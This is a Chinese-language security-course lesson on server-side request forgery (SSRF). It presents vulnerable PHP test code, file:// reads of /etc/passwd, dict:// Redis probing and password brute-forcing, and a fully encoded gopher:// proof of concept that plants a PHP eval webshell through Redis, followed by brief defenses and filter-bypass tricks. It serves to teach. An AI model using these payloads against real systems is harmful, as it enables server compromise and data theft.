WEB安全
00-HTTP协议
01-前端基础【HTML】
02-前端基础【CSS】
03-后端基础【PHP速通】
04-后端基础【PHP面向对象】
05-MySQL基础操作
06-前后端联动【代码练习】
07-SQL注入
08-SQL注入 Labs
09-跨站脚本攻击【XSS】
09-XSS Labs
10-CSRF
11-SSRF
12-XML 外部实体注入【XXE】
13-代码执行漏洞
14-命令执行漏洞
15-文件包含漏洞
16-文件上传漏洞
17-反序列化漏洞
18-业务逻辑漏洞
19-未授权访问漏洞集合
20-跨源资源共享【CORS】
21-SSTI模板注入
22-并发漏洞
23-点击劫持【Clickjacking 】
24-请求走私
25-路径遍历
26-访问控制
27-身份验证漏洞
28-WebSocket
29-Web缓存中毒
30-HTTP 主机头攻击
31-信息泄露漏洞
32-原型污染
33-API概述
34-API分类类型
35-API交换格式
36-API身份验证
37-API常见漏洞
38-crAPI靶场
39-JWT
40-DVGA靶场
41-服务器端参数污染
42-API Labs
43-OAuth Labs
44-GraphQL API Labs
45-JWT Labs
46-小程序抓包
47-云存储
48-对象存储OSS
49-存储桶
50-存储桶漏洞
51-STS访问OSS
-
+
11-SSRF
浏览
2
# SSRF ## 概念 SSRF(Server-Side Request Forgery)服务器端请求伪造,是一种由攻击者构造形成而由服务器端发起请求的一个安全漏洞。 正常场景中,客户端向服务器发起请求,服务器处理后将结果返回;SSRF 发生在服务器接收了用户可控的 URL 或目标地址,**未做充分校验便以自身身份向该地址发起请求**。攻击者由此将存在漏洞的服务器变成“跳板机”。 攻击者可以利用 SSRF 漏洞使服务器端向攻击者构造的任意域发出请求,目标通常是从外网无法访问的内部系统。 简单来说就是利用外网服务器漏洞以服务器的身份发送一条构造好的请求发给服务器所在的内网环境,然后进行攻击。   ## 危险函数 SSRF攻击可能存在任何语言编写的应用,接下来将举例php中可能存在SSRF漏洞的函数。 ### file_get_contents file_get_contents()函数是把 **传入的参数(变量)**写入字符串,当 **传参**是内网文件的时候,会先去把这个文件的内容读出来再写入,导致了任意文件读取,也就是信息泄露的一种。 官方描述:https://www.php.net/manual/zh/function.file-get-contents.php ```php //测试代码,ssrf.php <?php $url = $_GET['url']; echo file_get_contents($url); ?> ```   ### fsockopen() fsockopen()函数用于打开一个网络连接或者一个 Unix 套接字连接,初始化一个套接字连接到指定主机(hostname),实现对用户指定 url 数据的获取。 该函数会使用 socket 跟服务器建立 tcp 连接,进行传输原始数据。 fsockopen() 将返回一个文件句柄,之后可以被其他文件类函数调用(例如:fgets(),fgetss(),fwrite(),fclose()还有feof())如果调用失败,将返回false。 官方描述:https://www.php.net/manual/zh/function.fsockopen.php ```php //测试代码, ssrf.php <?php $host=$_GET['url']; $fp = fsockopen($host, 80, $errno, $errstr, 30); if (!$fp) { echo "$errstr ($errno)<br />\n"; } else { $out = "GET / HTTP/1.1\r\n"; $out .= "Host: $host\r\n"; $out .= "Connection: Close\r\n\r\n"; fwrite($fp, $out); while (!feof($fp)) { echo fgets($fp, 128); } fclose($fp); } ?> ``` ```php //构造链接,触发 ssrf 并返回百度主页 ssrf.php?url=www.baidu.com ```  ### curl_exec curl_init(url) 函数初始化一个新的会话,返回一个 cURL 句柄,供curl_setopt(),curl_exec()和curl_close()函数使用。 官方描述:https://www.php.net/manual/zh/function.curl-exec.php)](https://www.php.net/manual/zh/function.curl-exec.php ```php // 测试代码,ssrf <?php if (isset($_GET['url'])){ $link = $_GET['url']; $curlobj = curl_init(); // 创建新的 cURL 资源 curl_setopt($curlobj, CURLOPT_POST, 0); curl_setopt($curlobj,CURLOPT_URL,$link); curl_setopt($curlobj, CURLOPT_RETURNTRANSFER, 1); // 设置 URL 和相应的选项 $result=curl_exec($curlobj); // 抓取 URL 并把它传递给浏览器 curl_close($curlobj); // 关闭 cURL 资源,并且释放系统资源 echo $result; } ?> ``` ```php //构造链接,触发 ssrf 并返回百度主页 ssrf.php?url=www.baidu.com ```  ## 常用协议 | 协议 | 利用场景 | 造成危害 | | ----------------- | ------------------------------ | ---------------------------------------- | | http:// | 内网探测 | 访问内部 HTTP 服务、读取响应体 | | file:// | 本地文件读取 | 读取服务器任意可读文件 | | gopher:// | 任意 TCP 交互 | 向 Redis、MySQL、SMTP 等注入原始协议报文 | | dict:// | 端口探测、有限服务交互 | 探测 TCP 端口、与部分文本协议服务交互 | | ftp:// | 数据外带 | 连接 FTP 服务、部分场景下的文件操作 | | ldap:// / tftp:// | 特定服务探测或与反序列化链结合 | 依环境而定 | ### file协议 当服务器端请求库未限制协议方案时,攻击者只需将 URL 指向本地文件路径,就能让服务器把文件内容读出来。 ```url ssrf.php?url=file:///etc/passwd ```  ### dict协议 dict协议原本是在线字典协议,在 SSRF 中的主要价值不是“字典”,而是它允许向指定 TCP 端口发送一行简单的文本命令,并将响应回显。 ```js //redis未授权检测 ssrf.php?url=dict://127.0.0.1:6379/info //爆破密码 ssrf.php?url=dict://127.0.0.1:6379/auth:password //端口探测 ssrf.php?url=dict://127.0.0.1:3306 ```     ### gopher协议 gopher协议 是 SSRF 利用中能力最强的协议,没有之一。 #### 历史 Gopher协议,是互联网早期基于文本的信息查找系统,由美国明尼苏达大学于1991年设计并命名,其核心功能为通过层叠菜单结构组织文件索引,支持检索文本文件、远程登录(Telnet)等类型的信息资源。 用户通过浏览器输入“gopher://”格式的URL即可连接服务器,点击菜单链接可获取文本内容或跳转至子菜单。 Gopher协议最初服务于学术资源共享,后扩展至信息传播与商用领域。随着万维网技术的普及,其文本交互模式的局限性使其逐渐被支持多媒体的Web协议取代。 #### 结构 gopher URL的形态: ```url gopher://<host>:<port>/_<url-encoded-payload> ``` 下划线_: - _ 之后的全部内容将被写入 TCP 连接的原始数据。 第一个 _ 本身不会被发送,它只是一个分隔符;如果忘记写 _,payload 的第一个字符会被协议实现吞掉;端口必须显式指定,Gopher 没有可依赖的“合理默认端口”。 编码规则的核心是 CRLF: - 绝大多数内部明文协议都以 \r\n 作为行或者命令的终止符。 - 在 gopher URL 中,\r\n 写作 %0D%0A。每一条命令之间用 %0D%0A 分隔,整个 payload 的末尾也必须补上 %0D%0A,否则目标服务可能因等待后续字节而无法正确解析最后一条命令。 其他不安全字符也需要进行相应的 URL 编码。 双重编码: - 许多 Web 应用在接收到 url 参数后会先做一次 URL 解码,然后再把解码结果交给 HTTP 客户端。 - 如果攻击者只编码一次,%0D%0A 会在应用层被解码成真正的 \r\n,但 HTTP 客户端可能拒绝在 URL 路径中包含裸 CRLF,或者再次以不同方式处理。 - 更稳妥的做法是:先对 payload 做一次完整的 URL 编码,再对结果中的 % 再做一次编码,使 %0D%0A 变成 %250D%250A,从而在应用层解码后仍然保留为 %0D%0A,最终在协议层被解码为 CRLF。 ## 综合利用 ### 概述 Redis 是 gopher 在 SSRF 中最经典、也最成熟的目标。 Redis 使用 RESP(REdis Serialization Protocol),一种基于文本行的协议,未授权访问时对来自 127.0.0.1 的连接没有任何认证要求。 - RESP(Redis Serialization Protocol)是Redis使用的二进制协议,它负责在Redis客户端和服务器之间传输数据和命令。 Gopher 允许攻击者把完整的 Redis 命令序列,以管道化的发送过去。 ### 编码规则 Redis 的 RESP 数组格式为: ```txt *<元素个数>\r\n$<长度>\r\n<内容>\r\n... ``` **长度字段必须按原始字节数计算,而不是按 URL 编码后的字符数计算。** ### 写webshell 通过redis服务写入webshell,原本的命令序列: ```bash CONFIG SET dir /opt/lampp/htdocs CONFIG SET dbfilename l0g.php SET shell "\r\n\r\n<?php @eval($_REQUEST['log']);?>\r\n\r\n" SAVE ``` 使用gopher协议: ```txt #AUTH 负责密码验证 AUTH 666888 SET 1 "\n\n<?php eval($_GET[1]); ?>\n\n" CONFIG SET dir /opt/lampp/htdocs CONFIG SET dbfilename 10086.php SAVE ``` 逐条 RESP 与 URL 编码: ```bash #1. AUTH 666888 *2\r\n$4\r\nAUTH\r\n$6\r\n666888\r\n %2A2%0D%0A%244%0D%0AAUTH%0D%0A%246%0D%0A666888%0D%0A #2. SET 1 "\n\n<?php eval($_GET[1]); ?>\n\n" *3\r\n$3\r\nSET\r\n$1\r\n1\r\n$28\r\n\n\n<?php eval($_GET[1]); ?>\n\n\r\n %2A3%0D%0A%243%0D%0ASET%0D%0A%241%0D%0A1%0D%0A%2428%0D%0A%0A%0A%3C%3Fphp%20eval%28%24_GET%5B1%5D%29%3B%20%3F%3E%0A%0A%0D%0A #3. CONFIG SET dir /opt/lampp/htdocs *4\r\n$6\r\nCONFIG\r\n$3\r\nSET\r\n$3\r\ndir\r\n$17\r\n/opt/lampp/htdocs\r\n %2A4%0D%0A%246%0D%0ACONFIG%0D%0A%243%0D%0ASET%0D%0A%243%0D%0Adir%0D%0A%2417%0D%0A%2Fopt%2Flampp%2Fhtdocs%0D%0A #4. CONFIG SET dbfilename 10086.php *4\r\n$6\r\nCONFIG\r\n$3\r\nSET\r\n$10\r\ndbfilename\r\n$9\r\n10086.php\r\n %2A4%0D%0A%246%0D%0ACONFIG%0D%0A%243%0D%0ASET%0D%0A%2410%0D%0Adbfilename%0D%0A%249%0D%0A10086.php%0D%0A #5. SAVE *1\r\n$4\r\nSAVE\r\n %2A1%0D%0A%244%0D%0ASAVE%0D%0A ``` 完整的一次URL编码: ```url %2A2%0D%0A%244%0D%0AAUTH%0D%0A%246%0D%0A666888%0D%0A%2A3%0D%0A%243%0D%0ASET%0D%0A%241%0D%0A1%0D%0A%2428%0D%0A%0A%0A%3C%3Fphp%20eval%28%24_GET%5B1%5D%29%3B%20%3F%3E%0A%0A%0D%0A%2A4%0D%0A%246%0D%0ACONFIG%0D%0A%243%0D%0ASET%0D%0A%243%0D%0Adir%0D%0A%2417%0D%0A%2Fopt%2Flampp%2Fhtdocs%0D%0A%2A4%0D%0A%246%0D%0ACONFIG%0D%0A%243%0D%0ASET%0D%0A%2410%0D%0Adbfilename%0D%0A%249%0D%0A10086.php%0D%0A%2A1%0D%0A%244%0D%0ASAVE%0D%0A ``` 进行二次URL编码: ```bash %252A2%250D%250A%25244%250D%250AAUTH%250D%250A%25246%250D%250A666888%250D%250A%252A3%250D%250A%25243%250D%250ASET%250D%250A%25241%250D%250A1%250D%250A%252428%250D%250A%250A%250A%253C%253Fphp%2520eval%2528%2524_GET%255B1%255D%2529%253B%2520%253F%253E%250A%250A%250D%250A%252A4%250D%250A%25246%250D%250ACONFIG%250D%250A%25243%250D%250ASET%250D%250A%25243%250D%250Adir%250D%250A%252417%250D%250A%252Fopt%252Flampp%252Fhtdocs%250D%250A%252A4%250D%250A%25246%250D%250ACONFIG%250D%250A%25243%250D%250ASET%250D%250A%252410%250D%250Adbfilename%250D%250A%25249%250D%250A10086.php%250D%250A%252A1%250D%250A%25244%250D%250ASAVE%250D%250A ``` 完整的Poc: ```bash gopher://127.0.0.1:6379/_%252A2%250D%250A%25244%250D%250AAUTH%250D%250A%25246%250D%250A666888%250D%250A%252A3%250D%250A%25243%250D%250ASET%250D%250A%25241%250D%250A1%250D%250A%252428%250D%250A%250A%250A%253C%253Fphp%2520eval%2528%2524_GET%255B1%255D%2529%253B%2520%253F%253E%250A%250A%250D%250A%252A4%250D%250A%25246%250D%250ACONFIG%250D%250A%25243%250D%250ASET%250D%250A%25243%250D%250Adir%250D%250A%252417%250D%250A%252Fopt%252Flampp%252Fhtdocs%250D%250A%252A4%250D%250A%25246%250D%250ACONFIG%250D%250A%25243%250D%250ASET%250D%250A%252410%250D%250Adbfilename%250D%250A%25249%250D%250A10086.php%250D%250A%252A1%250D%250A%25244%250D%250ASAVE%250D%250A ``` 对ssrf.php的url进行传参:   接着访问10086.php文件:  注意: - **Gopher 协议是“只送信,不回信”**:Gopher 协议的工作模式是向目标端口发送原始字节流,它并不期待或处理来自服务端的 HTTP 响应。 - 利用 SSRF 发起请求后,攻击载荷送达 Redis 即算完成,浏览器本身不会获得任何内容。 ## 防护措施 - **网络出口控制:**默认拒绝服务器访问私有地址、回环地址、云元数据地址; - **目标地址白名单:**只允许请求预先批准的域名或 IP(业务功能地址),其余一律拒绝; - **协议与客户端行为的限制:**只允许http或者https(业务功能协议),其他协议一切禁止。 ## 绕过措施 - **等价替换:**127.0.0.1 可以变为localhost或者数字; - **解析歧义:**不同 URL 解析器对 @、反斜杠等字符的处理可能不一致; - **重定向绕过:**如果应用只校验用户提交的初始 URL,但 HTTP 客户端会自动跟随 302 重定向,那么可以提交一个指向外部可控服务器的 URL,由该服务器返回 302 跳转到内网地址; - **DNS解析:**在请求攻击者域名时,返回的IP地址为127.0.0.1等私有地址。
毛林
2026年11月15日 18:27
转发文档
收藏文档
上一篇
下一篇
评论(0)
登录
后可发表评论
还没有评论,来抢沙发~
手机扫码
复制链接
手机扫一扫转发分享
复制链接
Markdown文件
Word文档
PDF文档(打印)
分享
链接
类型
密码
更新密码
还没有评论,来抢沙发~